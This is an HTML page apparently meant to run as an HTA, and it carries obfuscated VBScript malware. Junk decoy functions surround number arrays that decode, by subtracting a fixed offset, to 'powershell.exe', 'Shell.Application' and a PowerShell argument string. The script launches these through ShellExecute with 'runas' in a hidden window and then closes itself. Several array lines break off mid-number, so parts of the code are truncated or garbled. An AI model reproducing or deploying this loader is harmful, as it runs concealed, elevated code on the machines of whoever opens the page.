<html xmlns="http://www.w3.org/1999/xhtml ">
<head>
<meta content="text / html; charset = utf - 8" http-equiv="Content - Type" />
<script language="VBScript">
Function zFGhsfdXTP(LHCf, hgpUWcGkGQ)
Dim jXhnKmWzvw
Dim LOlzYvBDYbgCbH
IibyhvZFewBd = Len(hgpUWcGkGQ)
Set jXhnKmWzvw = CreateObject("Scripting.Dictionary")
jXhnKmWzvw = Split(LHCf, ",")
iwBuUNzzJJVdtezYN = (Len(LHCf)/2 - 1)
for TqbH = 1 To iwBuUNzzJJVdtezYN
URctHiLbhsSm = jXhnKmWzvw(TqbH) + URctHiLbhsSm
Next
For EmLUyOyC = 134 To 42343
QqlaVtVvvMnhdV = QqlaVtVvvMnhdV + URctHiLbhsSm - EmLUyOyC
Next
For eSAAcoqRx = 1 To IibyhvZFewBd
Dim WqSuVYMXe,GZXzRodmBrlhfEsY,cCQbRTsteKBzsiO
WqSuVYMXe=1
GZXzRodmBrlhfEsY=IibyhvZFewBd
Randomize
cCQbRTsteKBzsiO = Int((WqSuVYMXe-GZXzRodmBrlhfEsY+1)*Rnd+GZXzRodmBrlhfEsY)
yxTIYefAMXpmyf = yxTIYefAMXpmyf + cCQbRTsteKBzsiO
Next
zFGhsfdXTP = QqlaVtVvvMnhdV & hgpUWcGkGQ & yxTIYefAMXpmyf
End Function
Function GmduTdmjLwTuxCEEcgt()
for OOUQYXpsDCHUrAKtZtvT = 5 to 15
Dim ZLKWODlDHCpYo,kJzaNfgHKMh,DtPuYwwmakLXWiN
IeKgNYVhpaRwt=1
kJzaNfgHKMh=9
Randomize
YIkAbVIYoLhOM = DtPuYwwmakLXWiN & ","
Next
Dim OOUQYXpsDCHUrAKtZtvT,Vtge,pHavTrrkGnPGm
OOUQYXpsDCHUrAKtZtvT=15
Vtge=130
Randomize
pHavTrrkGnPGm = Int((OOUQYXpsDCHUrAKtZtvT-Vtge+1)*Rnd+Vtge)
For PFORXzMIocX = 1 to pHavTrrkGnPGm
Dim WEWekjhEbbtn,ijAKxwYsPskRFqVTJUP,IeKgNYVhpaRwt
pHavTrrkGnPGm=97
ijAKxwYsPskRFqVTJUP=122
Randomize
pHavTrrkGnPGm = Int((pHavTrrkGnPGm-ijAKxwYsPskRFqVTJUP+1)*Rnd+ijAKxwYsPskRFqVTJUP)
ZEWMfr = Chr(pHavTrrkGnPGm)
mPmPydSUoqeKGCyEY = mPmPydSUoqeKGCyEY & ZEWMfr
Next
mdsAGYXJkLvUbiq = zFGhsfdXTP(YIkAbVIYoLhOM, mPmPydSUoqeKGCyEY)
GmduTdmjLwTuxCEEcgt = mdsAGYXJkLvUbiq
End Function
GmduTdmjLwTuxCEEcgt()
Function nmEREHNMvc(ByVal ROJDjLyslMCGUK)
nmEREHNMvc = VarType( ROJDjLyslMCGUK)
End Function
Function GvHRJfreSDYnQsU(ByVal UEjOhGSqLxSvClN)
Dim ROJDjLyslMCGUK
Dim AgRtKIzwCQknw
Dim FevuFXQHSrmEnFwTrkot
Dim EDrVXhMUIhywTWkgCXqeU
EDrVXhMUIhywTWkgCXqeU = 42252
ROJDjLyslMCGUK = nmEREHNMvc(UEjOhGSqLxSvClN)
If ROJDjLyslMCGUK = 8204 Then
For Each AgRtKIzwCQknw In UEjOhGSqLxSvClN
FevuFXQHSrmEnFwTrkot = FevuFXQHSrmEnFwTrkot & (AgRtKIzwCQknw - EDrVXhMUIhywTWkgCXqeU)
Next
End If
GvHRJfreSDYnQsU = FevuFXQHSrmEnFwTrkot
End Function
Function FhofpXDDcLgwu(ByVal objectType)
Set FhofpXDDcLgwu = CreateObject(objectType)
End Function
Function rBnZXXLwzltqkQU()
Dim UEjOhGSqLxSvClN
Dim PRTuJYzWCqiKIRfW
Dim SzZeitcASSYGwv
UEjOhGSqLxSvClN = Array(42350,42350,42361,42325,42369,42364,42323,42366,42371,42339,42334,42374,42333,42319,42327,42357,42369,42370,42369,42324,42358,42319,42353,42333,42337,42341,42331,42356,42359,42331,42364,42335,42352,42359,42332,42353,42373,42355,42334,42336,42365,42357,42324,42352,42339,42342,42325,42336,42360,42363,42340,42323,42371,42324,42326,42341,42372,42339,42363,42338,42350,42341,42323,42357,42356,42373,42338,42355,42362,42355,42358,42330,42353,42350,42333,42317,42370,42317,42369,42369,42333,42370,42371,42371,42365,42357,42339,42338,42349,42365,42355,42351,42367,42370,42367,42335,42351,42342,42370,42340,42320,42350,42355,42321,42322,42327,42351,42337,42366,42326,42352,42371,42351,42368,42322,42355,42351,42327,42366,42374,42351,42374,42323,42371,42317,42323,42338,42357,42358,42373,42341,42339,42322,42339,42365,42363,42331,42366,42365,42355,42323,42318,42353,42333,42330,42358,42317,42373,42365,42329,42364,42335,42356,42371,42369,42320,42338,42358,42321,42374,42363,42368,42360,42367,42360,42324,
PRTuJYzWCqiKIRfW = GvHRJfreSDYnQsU(UEjOhGSqLxSvClN)
rBnZXXLwzltqkQU = PRTuJYzWCqiKIRfW
End Function
rBnZXXLwzltqkQU()
Function WQWfCHa(ByVal NyfPYHDSzrCwdD)
WQWfCHa = VarType( NyfPYHDSzrCwdD)
End Function
Function ZlwdKjsvJyJahRPC(ByVal MfNOwzLa)
Dim NyfPYHDSzrCwdD
Dim wowZTfZBShxfZC
Dim sYiRpgFyal
Dim CwfWjOHZaVgWm
CwfWjOHZaVgWm = 42252
NyfPYHDSzrCwdD = WQWfCHa(MfNOwzLa)
If NyfPYHDSzrCwdD = 8204 Then
For Each wowZTfZBShxfZC In MfNOwzLa
sYiRpgFyal = sYiRpgFyal & (wowZTfZBShxfZC - CwfWjOHZaVgWm)
Next
End If
ZlwdKjsvJyJahRPC = sYiRpgFyal
End Function
Function TcdZIIzUkcK(ByVal objectType)
Set TcdZIIzUkcK = CreateObject(objectType)
End Function
Function npgeKeVyNKWWACS()
Dim MfNOwzLa
Dim DaYFEVWlPpMHwqaR
Dim RUVjuhcPvzhIcwGc
MfNOwzLa = Array(42317,42369,42326,42371,42342,42319,42338,42355,42372,42329,42329,42353,42334,42370,42355,42336,42325,42340,42334,42370,42361,42369,42370,42374,42356,42360,42356,42340,42338,42321,42330,42326,42367,42364,42359,42325,42321,42335,42332,42324,42328,42319,42359,42319,42336,42354,42334,42358,42339,42366,42340,42320,42356,42367,42371,42322,42373,42327,42332,42363,42337,42372,42328,42367,42374,42319,42360,42350,42327,42341,42331,42365,42325,42326,42358,42358,42327,42367,42355,42318,42336,42372,42317,42352,42356,42326,42351,42317,42368,42354,42326,42368,42319,42349,42362,42330,42366,42366,42320,42333,42368,42364,42341,42373,42351,42356,42370,42340,42325,42329,42369,42322,42352,42330,42337,42340,42372,42356,42327,42365,42349,42359,42357,42354,42331,42338,42362,42356,42339,42338,42367,42335,42364,42332,42325,42353,42342,42318,42318,42317,42330,42321,42367,42356,42359,42321,42332,42364,42323,42332,42333,42327,42355,42330,42365,42325,42324,42368,42359,42324,42368,42331,42318,42362,42337,42351,42333,4
DaYFEVWlPpMHwqaR = ZlwdKjsvJyJahRPC(MfNOwzLa)
npgeKeVyNKWWACS = DaYFEVWlPpMHwqaR
End Function
npgeKeVyNKWWACS()
Function VKjMsuiZmzBlqK(xWlmxbN, YHoGWnddfcTAdPL)
Dim JDdRSkxvUjw
Dim FKNXoqwnV
COXvfHUQrPvbuBPhwXdlv = Len(YHoGWnddfcTAdPL)
Set JDdRSkxvUjw = CreateObject("Scripting.Dictionary")
JDdRSkxvUjw = Split(xWlmxbN, ",")
HGuZJkdSQFggxZiuqJFp = (Len(xWlmxbN)/2 - 1)
for oYBp = 1 To HGuZJkdSQFggxZiuqJFp
GfDxhdqYa = JDdRSkxvUjw(oYBp) + GfDxhdqYa
Next
For JsiztBQNaAJElvKA = 134 To 42343
eUDrWWbctzowTmC = eUDrWWbctzowTmC + GfDxhdqYa - JsiztBQNaAJElvKA
Next
For yTfTtNpWFYbQTKm = 1 To COXvfHUQrPvbuBPhwXdlv
Dim EDUsWzw,dbUhOXrkUktw,jJLEgvCMuVZAu
EDUsWzw=1
dbUhOXrkUktw=COXvfHUQrPvbuBPhwXdlv
Randomize
jJLEgvCMuVZAu = Int((EDUsWzw-dbUhOXrkUktw+1)*Rnd+dbUhOXrkUktw)
POEBQDnBBqDzMzS = POEBQDnBBqDzMzS + jJLEgvCMuVZAu
Next
VKjMsuiZmzBlqK = eUDrWWbctzowTmC & YHoGWnddfcTAdPL & POEBQDnBBqDzMzS
End Function
Function HBUnyJnjEhGvhTHFTwk()
for iZRidXolKBcGTOz = 5 to 15
Dim HkKWr,imJrkODYidtL,XhTaDHMnYufSOvE
lFbuvbroRYMxvcYHH=1
imJrkODYidtL=9
Randomize
ZUTCXLtWolEqdlt = XhTaDHMnYufSOvE & ","
Next
Dim iZRidXolKBcGTOz,iBeYAIqkzJQ,atJmuUzjEcqTrPJ
iZRidXolKBcGTOz=15
iBeYAIqkzJQ=130
Randomize
atJmuUzjEcqTrPJ = Int((iZRidXolKBcGTOz-iBeYAIqkzJQ+1)*Rnd+iBeYAIqkzJQ)
For LOhn = 1 to atJmuUzjEcqTrPJ
Dim Ychbamhi,fEwOerMlnQaZbaiht,lFbuvbroRYMxvcYHH
atJmuUzjEcqTrPJ=97
fEwOerMlnQaZbaiht=122
Randomize
atJmuUzjEcqTrPJ = Int((atJmuUzjEcqTrPJ-fEwOerMlnQaZbaiht+1)*Rnd+fEwOerMlnQaZbaiht)
cBTIqaHijagKsE = Chr(atJmuUzjEcqTrPJ)
piEjErohDcxjSn = piEjErohDcxjSn & cBTIqaHijagKsE
Next
HrcpKdDPbWAeKeoyQiC = VKjMsuiZmzBlqK(ZUTCXLtWolEqdlt, piEjErohDcxjSn)
HBUnyJnjEhGvhTHFTwk = HrcpKdDPbWAeKeoyQiC
End Function
HBUnyJnjEhGvhTHFTwk()
Function jzOlRrVc(farA, eCfbuhEyZdgQKkPUfnm)
Dim QuYfQWYdoAeN
Dim blMQaCPmJbxk
oBOqwjHvgnxFvFqmvH = Len(eCfbuhEyZdgQKkPUfnm)
Set QuYfQWYdoAeN = CreateObject("Scripting.Dictionary")
QuYfQWYdoAeN = Split(farA, ",")
iUBKgfEBdLEqpw = (Len(farA)/2 - 1)
for VoPPdrzwqfbn = 1 To iUBKgfEBdLEqpw
VnqUWjBdiE = QuYfQWYdoAeN(VoPPdrzwqfbn) + VnqUWjBdiE
Next
For enoONbjyK = 134 To 42343
FyXDqFxJsTmCG = FyXDqFxJsTmCG + VnqUWjBdiE - enoONbjyK
Next
For qPwUAhYXWrAtbTsRK = 1 To oBOqwjHvgnxFvFqmvH
Dim ObiHlRZ,RJbbOe,XNrVkXYS
ObiHlRZ=1
RJbbOe=oBOqwjHvgnxFvFqmvH
Randomize
XNrVkXYS = Int((ObiHlRZ-RJbbOe+1)*Rnd+RJbbOe)
qmyLemhLDTvwCNHQD = qmyLemhLDTvwCNHQD + XNrVkXYS
Next
jzOlRrVc = FyXDqFxJsTmCG & eCfbuhEyZdgQKkPUfnm & qmyLemhLDTvwCNHQD
End Function
Function iVsrXokvHfrFGIfRbKG()
for aRfZBPzhBClSvJw = 5 to 15
Dim nvJhGWSPljKV,JOiHgfNkSLwOcF,jBaXNdAptgfV
qbXGjtVMwwJYENQU=1
JOiHgfNkSLwOcF=9
Randomize
oUJHVzjADiNCrZAg = jBaXNdAptgfV & ","
Next
Dim aRfZBPzhBClSvJw,kaEL,pSfHxSfxk
aRfZBPzhBClSvJw=15
kaEL=130
Randomize
pSfHxSfxk = Int((aRfZBPzhBClSvJw-kaEL+1)*Rnd+kaEL)
For FrlBQcyldRi = 1 to pSfHxSfxk
Dim wSrQJgbpDv,BnXfodUnRhkQnisR,qbXGjtVMwwJYENQU
pSfHxSfxk=97
BnXfodUnRhkQnisR=122
Randomize
pSfHxSfxk = Int((pSfHxSfxk-BnXfodUnRhkQnisR+1)*Rnd+BnXfodUnRhkQnisR)
HeCfjNLagiI = Chr(pSfHxSfxk)
CbyvFAmQp = CbyvFAmQp & HeCfjNLagiI
Next
OVgUTUCbLqsaKqwecC = jzOlRrVc(oUJHVzjADiNCrZAg, CbyvFAmQp)
iVsrXokvHfrFGIfRbKG = OVgUTUCbLqsaKqwecC
End Function
iVsrXokvHfrFGIfRbKG()
Function glvCwNthmq(ByVal chuxvWPHu)
glvCwNthmq = VarType( chuxvWPHu)
End Function
Function ozjjIHXfbrp(ByVal guzTYbiGb)
Dim chuxvWPHu
Dim MjHPDeGkNdL
Dim WLuAhwBmuYiRqxKiha
Dim YUnJghErUgdAmRygSVAzm
YUnJghErUgdAmRygSVAzm = 42252
chuxvWPHu = glvCwNthmq(guzTYbiGb)
If chuxvWPHu = 8204 Then
For Each MjHPDeGkNdL In guzTYbiGb
WLuAhwBmuYiRqxKiha = WLuAhwBmuYiRqxKiha & (MjHPDeGkNdL - YUnJghErUgdAmRygSVAzm)
Next
End If
ozjjIHXfbrp = WLuAhwBmuYiRqxKiha
End Function
Function bZvLCeSRR(ByVal objectType)
Set bZvLCeSRR = CreateObject(objectType)
End Function
Function swZJoJXNeMwpcV()
Dim guzTYbiGb
Dim JtlQTJephho
Dim wurxdDmaDnhbddo
guzTYbiGb = Array(42350,42374,42328,42341,42373,42349,42368,42335,42355,42327,42333,42352,42366,42332,42317,42354,42349,42372,42362,42320,42326,42352,42318,42357,42353,42331,42335,42359,42374,42351,42373,42339,42355,42322,42353,42349,42365,42342,42357,42370,42365,42350,42355,42356,42325,42323,42365,42363,42363,42337,42354,42320,42365,42336,42355,42372,42373,42352,42369,42359,42324,42325,42336,42321,42328,42369,42371,42360,42359,42349,42364,42317,42331,42367,42330,42357,42372,42337,42342,42340,42341,42353,42371,42353,42372,42370,42355,42329,42342,42356,42350,42329,42354,42373,42363,42356,42324,42350,42338,42331,42326,42321,42321,42331,42354,42353,42363,42373,42323,42373,42317,42353,42321,42340,42328,42352,42329,42363,42324,42332,42331,42359,42329,42320,42373,42351,42338,42332,42320,42354,42349,42338,42373,42327,42330,42336,42342,42357,42374,42335,42323,42357,42322,42349,42355,42372,42325,42324,42361,42328,42337,42336,42337,42322,42317,42342,42366,42317,42333,42319,42325,42342,42369,42350,42341,42353,42354,
JtlQTJephho = ozjjIHXfbrp(guzTYbiGb)
swZJoJXNeMwpcV = JtlQTJephho
End Function
swZJoJXNeMwpcV()
Function cDihRKnKK(ByVal rEOh)
cDihRKnKK = VarType( rEOh)
End Function
Function jMaGNXsOwzT(ByVal ENtICZmDeWY)
Dim rEOh
Dim meQizyW
Dim uNpaTR
Dim SbkKPTofEOdE
SbkKPTofEOdE = 42252
rEOh = cDihRKnKK(ENtICZmDeWY)
If rEOh = 8204 Then
For Each meQizyW In ENtICZmDeWY
uNpaTR = uNpaTR & Chr(meQizyW - SbkKPTofEOdE)
Next
End If
jMaGNXsOwzT = uNpaTR
End Function
Function WPCSesETkg(ANKSJKGgk, NcmHmkAUNDxR)
Dim tqfFqiOVPnmfMII
Dim zdqJgXxGV
FCTgUwzNwkKrOvHi = Len(NcmHmkAUNDxR)
Set tqfFqiOVPnmfMII = CreateObject("Scripting.Dictionary")
tqfFqiOVPnmfMII = Split(ANKSJKGgk, ",")
qKLjPXogxBo = (Len(ANKSJKGgk)/2 - 1)
for emSSIK = 1 To qKLjPXogxBo
rITeaRzI = tqfFqiOVPnmfMII(emSSIK) + rITeaRzI
Next
For ZXMohESEgXNq = 134 To 42343
nWZEYkoleN = nWZEYkoleN + rITeaRzI - ZXMohESEgXNq
Next
For BggSxnHoKufi = 1 To FCTgUwzNwkKrOvHi
Dim fuLLNpWh,NnKneaODQaF,uESJKbAhmKKyfrd
fuLLNpWh=1
NnKneaODQaF=FCTgUwzNwkKrOvHi
Randomize
uESJKbAhmKKyfrd = Int((fuLLNpWh-NnKneaODQaF+1)*Rnd+NnKneaODQaF)
ImtGrqAfcNWt = ImtGrqAfcNWt + uESJKbAhmKKyfrd
Next
WPCSesETkg = nWZEYkoleN & NcmHmkAUNDxR & ImtGrqAfcNWt
End Function
Function lAkMIkXCpevA()
for RbJJjPtYpvo = 5 to 15
Dim yYRQampBWaRmEh,dQPWwkZFNLW,NSOuWKgUejrq
YrxnEyuPAZrFYqMCz=1
dQPWwkZFNLW=9
Randomize
JxEImiXccwrNoJTP = NSOuWKgUejrq & ","
Next
Dim RbJJjPtYpvo,iMKMFm,OrGzuB
RbJJjPtYpvo=15
iMKMFm=130
Randomize
OrGzuB = Int((RbJJjPtYpvo-iMKMFm+1)*Rnd+iMKMFm)
For fhIrK = 1 to OrGzuB
Dim sWehQIa,nXqiuQaAFNqQ,YrxnEyuPAZrFYqMCz
OrGzuB=97
nXqiuQaAFNqQ=122
Randomize
OrGzuB = Int((OrGzuB-nXqiuQaAFNqQ+1)*Rnd+nXqiuQaAFNqQ)
CErgjPkji = Chr(OrGzuB)
RasKGtNUaGA = RasKGtNUaGA & CErgjPkji
Next
PlSZxmaFYsb = WPCSesETkg(JxEImiXccwrNoJTP, RasKGtNUaGA)
lAkMIkXCpevA = PlSZxmaFYsb
End Function
lAkMIkXCpevA()
Function NFSaMWpk(ByVal WtxVjSCBgnV)
NFSaMWpk = VarType( WtxVjSCBgnV)
End Function
Function GghupRCOqq(ByVal TUgJqqjUhEDXfRK)
Dim WtxVjSCBgnV
Dim fmLfhKZXpWffLdJJIy
Dim tDZRMtcThyjRiA
Dim PjJeqjJgtwqnL
PjJeqjJgtwqnL = 42252
WtxVjSCBgnV = NFSaMWpk(TUgJqqjUhEDXfRK)
If WtxVjSCBgnV = 8204 Then
For Each fmLfhKZXpWffLdJJIy In TUgJqqjUhEDXfRK
tDZRMtcThyjRiA = tDZRMtcThyjRiA & (fmLfhKZXpWffLdJJIy - PjJeqjJgtwqnL)
Next
End If
GghupRCOqq = tDZRMtcThyjRiA
End Function
Function KXrYuvZlOl(ByVal objectType)
Set KXrYuvZlOl = CreateObject(objectType)
End Function
Function OaSDNd()
Dim TUgJqqjUhEDXfRK
Dim bnYnePbT
Dim eSZpNJcaZiRvq
TUgJqqjUhEDXfRK = Array(42335,42331,42358,42341,42326,42359,42362,42363,42372,42361,42361,42330,42318,42371,42355,42364,42329,42363,42354,42370,42320,42319,42332,42320,42339,42354,42338,42329,42319,42368,42350,42364,42364,42359,42357,42351,42369,42331,42317,42350,42361,42332,42322,42351,42335,42319,42329,42342,42351,42321,42326,42330,42339,42370,42373,42333,42373,42355,42319,42352,42332,42349,42361,42321,42328,42372,42340,42333,42330,42321,42370,42373,42363,42320,42325,42362,42372,42361,42359,42336,42335,42370,42359,42372,42359,42331,42335,42369,42360,42335,42352,42330,42329,42339,42329,42329,42352,42317,42334,42338,42354,42370,42328,42340,42325,42327,42341,42336,42361,42328,42336,42329,42370,42358,42328,42336,42365,42363,42337,42372,42354,42352,42353,42370,42350,42357,42361,42334,42365,42371,42326,42371,42337,42332,42362,42340,42359,42330,42363,42342,42364,42373,42324,42349,42374,42334,42334,42351,42328,42368,42339,42364,42355,42337,42365,42319,42333,42332,42371,42349,42341,42324,42352,42365,42318,42339,
bnYnePbT = GghupRCOqq(TUgJqqjUhEDXfRK)
OaSDNd = bnYnePbT
End Function
OaSDNd()
Function CSodgfKISByPrC(glLZYbdLTtam, uWqyvCtjNrfJFA)
Dim vxRmssOwVxH
Dim eKRcmEpBhRtTTPXJ
dssVCexWViUafy = Len(uWqyvCtjNrfJFA)
Set vxRmssOwVxH = CreateObject("Scripting.Dictionary")
vxRmssOwVxH = Split(glLZYbdLTtam, ",")
ugjdhPGzrG = (Len(glLZYbdLTtam)/2 - 1)
for LbQiOuZfvhW = 1 To ugjdhPGzrG
MjpiHDufkVDKYgj = vxRmssOwVxH(LbQiOuZfvhW) + MjpiHDufkVDKYgj
Next
For tJoWgUBlS = 134 To 42343
wgxlMEBPMsFBSSMrQ = wgxlMEBPMsFBSSMrQ + MjpiHDufkVDKYgj - tJoWgUBlS
Next
For GzYkwhxwLyquI = 1 To dssVCexWViUafy
Dim oNfZuucIQsBfB,QrZACKxXbIeJiCX,GyZpokU
oNfZuucIQsBfB=1
QrZACKxXbIeJiCX=dssVCexWViUafy
Randomize
GyZpokU = Int((oNfZuucIQsBfB-QrZACKxXbIeJiCX+1)*Rnd+QrZACKxXbIeJiCX)
bqHZGIJpGWFvRGXL = bqHZGIJpGWFvRGXL + GyZpokU
Next
CSodgfKISByPrC = wgxlMEBPMsFBSSMrQ & uWqyvCtjNrfJFA & bqHZGIJpGWFvRGXL
End Function
Function vPisdDoNlCHEn()
for lQjndJrzIWprNODHX = 5 to 15
Dim UwgoHOpsyHOOjx,vSDoXSMovVRsPW,KfXRpFYwUb
FOOxqHOZvUKfibh=1
vSDoXSMovVRsPW=9
Randomize
hXPVPpbseczCHqKI = KfXRpFYwUb & ","
Next
Dim lQjndJrzIWprNODHX,nKOfW,qoSTdIYaCtLZ
lQjndJrzIWprNODHX=15
nKOfW=130
Randomize
qoSTdIYaCtLZ = Int((lQjndJrzIWprNODHX-nKOfW+1)*Rnd+nKOfW)
For ACzEf = 1 to qoSTdIYaCtLZ
Dim HpRepDzQmtsAPol,YNnXHYhGhksvIF,FOOxqHOZvUKfibh
qoSTdIYaCtLZ=97
YNnXHYhGhksvIF=122
Randomize
qoSTdIYaCtLZ = Int((qoSTdIYaCtLZ-YNnXHYhGhksvIF+1)*Rnd+YNnXHYhGhksvIF)
SYwmwFeU = Chr(qoSTdIYaCtLZ)
UgALWOyTiTjwY = UgALWOyTiTjwY & SYwmwFeU
Next
eZzxbHACrYGt = CSodgfKISByPrC(hXPVPpbseczCHqKI, UgALWOyTiTjwY)
vPisdDoNlCHEn = eZzxbHACrYGt
End Function
vPisdDoNlCHEn()
Function uHhdk(eMqFWIrarXzjg, rSxEXYeKhfNFmVPohm)
Dim MlVPucrOPXJ
Dim SEldGlxeLXVJMsvgO
waEugHSYFkZYBGV = Len(rSxEXYeKhfNFmVPohm)
Set MlVPucrOPXJ = CreateObject("Scripting.Dictionary")
MlVPucrOPXJ = Split(eMqFWIrarXzjg, ",")
SWOUGZUYJrbIWzvcW = (Len(eMqFWIrarXzjg)/2 - 1)
for fFcKzX = 1 To SWOUGZUYJrbIWzvcW
MXjzOnjYINJ = MlVPucrOPXJ(fFcKzX) + MXjzOnjYINJ
Next
For JzSNcs = 134 To 42343
zZEfpZWYUhuKRG = zZEfpZWYUhuKRG + MXjzOnjYINJ - JzSNcs
Next
For lOwvAouzHlGcRWldy = 1 To waEugHSYFkZYBGV
Dim kDVvRTjAxXQ,OCnHDNr,vDcLioAHCcvqqXgA
kDVvRTjAxXQ=1
OCnHDNr=waEugHSYFkZYBGV
Randomize
vDcLioAHCcvqqXgA = Int((kDVvRTjAxXQ-OCnHDNr+1)*Rnd+OCnHDNr)
hKGxUuNuCRekEx = hKGxUuNuCRekEx + vDcLioAHCcvqqXgA
Next
uHhdk = zZEfpZWYUhuKRG & rSxEXYeKhfNFmVPohm & hKGxUuNuCRekEx
End Function
Function EHhsiCFwwPXAqhIRKP()
for CFdWmKiGdJpZCJdHqv = 5 to 15
Dim NgYMANbtxCu,XptmCWCReIaNb,bduvGbuRAwCWyTHy
wGXNNXjr=1
XptmCWCReIaNb=9
Randomize
ApXTQEjDUUqL = bduvGbuRAwCWyTHy & ","
Next
Dim CFdWmKiGdJpZCJdHqv,klCCr,CdoIojoP
CFdWmKiGdJpZCJdHqv=15
klCCr=130
Randomize
CdoIojoP = Int((CFdWmKiGdJpZCJdHqv-klCCr+1)*Rnd+klCCr)
For QkYmNccEB = 1 to CdoIojoP
Dim DXfHMciVWKbY,KXuqalkjLwNOEAikfVC,wGXNNXjr
CdoIojoP=97
KXuqalkjLwNOEAikfVC=122
Randomize
CdoIojoP = Int((CdoIojoP-KXuqalkjLwNOEAikfVC+1)*Rnd+KXuqalkjLwNOEAikfVC)
AMnhqMFQnPma = Chr(CdoIojoP)
FEjnSxlWTfnW = FEjnSxlWTfnW & AMnhqMFQnPma
Next
HcWsqPEDvTdSCu = uHhdk(ApXTQEjDUUqL, FEjnSxlWTfnW)
EHhsiCFwwPXAqhIRKP = HcWsqPEDvTdSCu
End Function
EHhsiCFwwPXAqhIRKP()
Function WCpMndrC(ByVal bBkCzwOzdY)
WCpMndrC = VarType( bBkCzwOzdY)
End Function
Function EaYHVAIPXlxql(ByVal PbFpdwmWVBvfMUTB)
Dim bBkCzwOzdY
Dim xRLfAHksPgoDY
Dim GGElQUbuGlDqBiZcb
Dim JgpNZTlKkIqMawHjyPvqt
JgpNZTlKkIqMawHjyPvqt = 42252
bBkCzwOzdY = WCpMndrC(PbFpdwmWVBvfMUTB)
If bBkCzwOzdY = 8204 Then
For Each xRLfAHksPgoDY In PbFpdwmWVBvfMUTB
GGElQUbuGlDqBiZcb = GGElQUbuGlDqBiZcb & (xRLfAHksPgoDY - JgpNZTlKkIqMawHjyPvqt)
Next
End If
EaYHVAIPXlxql = GGElQUbuGlDqBiZcb
End Function
Function wArHrgIoyYL(ByVal objectType)
Set wArHrgIoyYL = CreateObject(objectType)
End Function
Function PoWIOLhnSb()
Dim PbFpdwmWVBvfMUTB
Dim fLkhfpvHDTelh
Dim NgxFhndVmjexmZ
PbFpdwmWVBvfMUTB = Array(42353,42370,42365,42360,42352,42372,42328,42361,42356,42333,42339,42355,42342,42368,42325,42373,42369,42320,42330,42373,42338,42329,42318,42368,42367,42322,42372,42318,42351,42349,42318,42370,42324,42327,42334,42339,42339,42331,42370,42374,42318,42353,42338,42336,42329,42341,42362,42338,42338,42357,42337,42319,42359,42328,42331,42335,42368,42372,42367,42341,42317,42327,42327,42323,42332,42349,42342,42332,42350,42361,42350,42354,42324,42330,42372,42366,42365,42357,42355,42336,42334,42351,42354,42368,42323,42374,42328,42370,42370,42374,42351,42341,42339,42339,42374,42366,42336,42331,42321,42360,42374,42341,42369,42358,42323,42363,42369,42339,42331,42340,42350,42328,42333,42341,42323,42340,42353,42333,42317,42332,42332,42353,42336,42350,42326,42320,42326,42359,42331,42322,42340,42350,42352,42370,42337,42368,42357,42370,42361,42334,42321,42363,42355,42341,42340,42334,42324,42372,42333,42351,42329,42319,42331,42363,42338,42338,42321,42335,42349,42320,42353,42326,42325,42326,42317,42374
fLkhfpvHDTelh = EaYHVAIPXlxql(PbFpdwmWVBvfMUTB)
PoWIOLhnSb = fLkhfpvHDTelh
End Function
PoWIOLhnSb()
Function RfHkFB(ByVal objectType)
Set RfHkFB = CreateObject(objectType)
End Function
Function kLLZwp()
Dim ENtICZmDeWY
Dim siPneiS
Dim fYurCmdetbpbp
ENtICZmDeWY = Array(42284,42297,42321,42372,42353,42351,42369,42368,42357,42363,42362,42332,42363,42360,42357,42351,42373,42284,42337,42362,42334,42353,42367,42368,42366,42357,42351,42368,42353,42352,42284,42354,42369,42362,42351,42368,42357,42363,42362,42284,42329,42362,42319,42317,42369,42292,42288,42326,42371,42340,42327,42366,42356,42320,42360,42334,42357,42370,42332,42334,42367,42296,42284,42288,42319,42335,42365,42370,42334,42359,42339,42367,42365,42359,42317,42293,42375,42343,42325,42331,42298,42322,42357,42360,42353,42345,42310,42310,42339,42366,42357,42368,42353,42317,42360,42360,42318,42373,42368,42353,42367,42292,42288,42326,42371,42340,42327,42366,42356,42320,42360,42334,42357,42370,42332,42334,42367,42296,42284,42288,42319,42335,42365,42370,42334,42359,42339,42367,42365,42359,42317,42293,42377,42311,42354,42369,42362,42351,42368,42357,42363,42362,42284,42340,42367,42374,42351,42323,42352,42338,42360,42324,42373,42329,42329,42339,42339,42292,42288,42326,42371,42340,42327,42366,42356,42320,4236
siPneiS = Array(42364,42363,42371,42353,42366,42367,42356,42353,42360,42360,42298,42353,42372,42353)
fYurCmdetbpbp = jMaGNXsOwzT(ENtICZmDeWY)
Set PJHoqIGseuf = RfHkFB(jMaGNXsOwzT(Array(42335,42356,42353,42360,42360,42298,42317,42364,42364,42360,42357,42351,42349,42368,42357,42363,42362)))
qZwcSlyLqqg = jMaGNXsOwzT(siPneiS)
PJHoqIGseuf.ShellExecute qZwcSlyLqqg, fYurCmdetbpbp + +""" uac","","runas",0
self.close()
End Function
Function dCMRIoDQQ(OyyJNCxYqaSR, ygjbzTkJtQqCfB)
Dim TJwaFJCqMVVVrYp
Dim CFfLFQYOJLds
vnPbQEKcuVBHO = Len(ygjbzTkJtQqCfB)
Set TJwaFJCqMVVVrYp = CreateObject("Scripting.Dictionary")
TJwaFJCqMVVVrYp = Split(OyyJNCxYqaSR, ",")
ZEsddRoMvSKPNBu = (Len(OyyJNCxYqaSR)/2 - 1)
for wmPcfE = 1 To ZEsddRoMvSKPNBu
qUVfiLDll = TJwaFJCqMVVVrYp(wmPcfE) + qUVfiLDll
Next
For QQkGiOyc = 134 To 42343
TYgmZRzPgSCih = TYgmZRzPgSCih + qUVfiLDll - QQkGiOyc
Next
For bbPxPbyIbKa = 1 To vnPbQEKcuVBHO
Dim QJDijJKaZI,gPMSYLekvYAyJnB,QGbsXWGBdVcN
QJDijJKaZI=1
gPMSYLekvYAyJnB=vnPbQEKcuVBHO
Randomize
QGbsXWGBdVcN = Int((QJDijJKaZI-gPMSYLekvYAyJnB+1)*Rnd+gPMSYLekvYAyJnB)
iBwYoYUuLCeqQ = iBwYoYUuLCeqQ + QGbsXWGBdVcN
Next
dCMRIoDQQ = TYgmZRzPgSCih & ygjbzTkJtQqCfB & iBwYoYUuLCeqQ
End Function
Function ClaOjwwxwiyA()
for LZosqOclcDyaPDDcyBi = 5 to 15
Dim sdoLSbLeTsCYvU,ynpaScpdbKpEy,wJgFvSeIV
DDGYtvtrJgI=1
ynpaScpdbKpEy=9
Randomize
qgBYjWkSBeKDvID = wJgFvSeIV & ","
Next
Dim LZosqOclcDyaPDDcyBi,upHWiUxSitS,XphmOsKWqEaxFy
LZosqOclcDyaPDDcyBi=15
